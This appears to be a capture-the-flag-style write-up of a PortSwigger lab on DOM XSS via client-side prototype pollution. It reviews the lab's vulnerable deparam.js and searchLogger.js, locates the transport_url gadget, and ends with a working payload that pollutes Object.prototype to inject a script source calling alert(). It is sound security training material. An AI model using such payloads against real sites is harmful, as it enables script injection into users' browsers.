DOM XSS via client-side prototype pollution | Jan 15, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: DOM XSS via client-side prototype pollution! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab is vulnerable to DOM XSS via client-side prototype pollution. To solve the lab:
- Find a source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that allows you to execute arbitrary JavaScript.
- Combine these to call
alert()
.
You can solve this lab manually in your browser, or use DOM Invader to help you.
Exploitation
Find a source that you can use to add arbitrary properties to the global Object.prototype
To find a source (Inputs that are under attacker’s control), we can do it manually:
- Try to inject an arbitrary property via the query string, URL fragment, and any web message data. For example:
vulnerable-website.com/?__proto__[foo]=bar
- In the browser console, inspect the
Object.prototype
to see if we have successfully polluted it with our arbitrary property:Object.prototype.foo // "bar" indicates that you have successfully polluted the prototype // undefined indicates that the attack was not successful
- If the property was not added to the global prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa:
vulnerable-website.com/?__proto__.foo=bar
- Repeat this process for each potential source.
Home page:
In here, there is a search box.
Let’s try to search something:
Burp Suite HTTP history:
When we clicked the “Search” button, it’ll send a GET request to /
with parameter search
. After that, it’ll also send a POST request to /logger
, with parmater search
, and the data is in JSON format.
View source page:
<script src='resources/js/deparam.js'></script>
<script src='resources/js/searchLogger.js'></script>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search>
<button type=submit class=button>Search</button>
</form>
</section>
As you can see, it loaded 2 JavaScript files.
deparam.js
:
var deparam = function( params, coerce ) {
var obj = {},
coerce_types = { 'true': !0, 'false': !1, 'null': null };
if (!params) {
return obj;
}
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) && ((+val + '') === val) ? +val // number
: val === 'undefined' ? undefined // undefined
: coerce_types[val] !== undefined ? coerce_types[val] // true, false, null
: val; // string
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( {}.hasOwnProperty.call(obj, key) ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
There is an Object.prototype
global prototype:
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( {}.hasOwnProperty.call(obj, key) ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
searchLogger.js
:
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
In this JavaScript code, it’ll send a POST request with our search parameter and result in JSON format.
Now, we can try to inject an arbitrary property via the query string:
/?__proto__[foo]=bar
Then, inspect the Object.prototype
in the browser console:
We successfully polluted the Object.prototype
global prototype with our arbitrary property!!
Now, we can inject any property via the query string in /
.
Identify a gadget property that allows you to execute arbitrary JavaScript
In the searchLogger.js
JavaScript file, we can see there is config
object:
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
In here, we see the config
object has a property called transport_url
, which is to set <script>
element attribute’s src
value. That being said, that transport_url
property is to dynamically append JavaScript file to the DOM. Hence, this is a sink (Unsafe function).
Also, the transport_url
property is NOT defined for the config
object.
Armed with above information, we can try to control the src
attribute of the <script>
element via polluting the transport_url
property in config
object.
Combine these to call alert()
Now, we can send a request that set the transport_url
property to anything:
/?__proto__[transport_url]=bar
Then, use the browser “Elements” tab to confirm we can controll the src
attribute of the <script>
element:
As you can see, we changed the <script>
element’s src
attribute to bar
!
Finally, we can craft a payload that exploit the DOM-based XSS via polluting the transport_url
property in config
object:
/?__proto__[transport_url]=data:,alert(document.domain);//
What we’ve learned:
- DOM XSS via client-side prototype pollution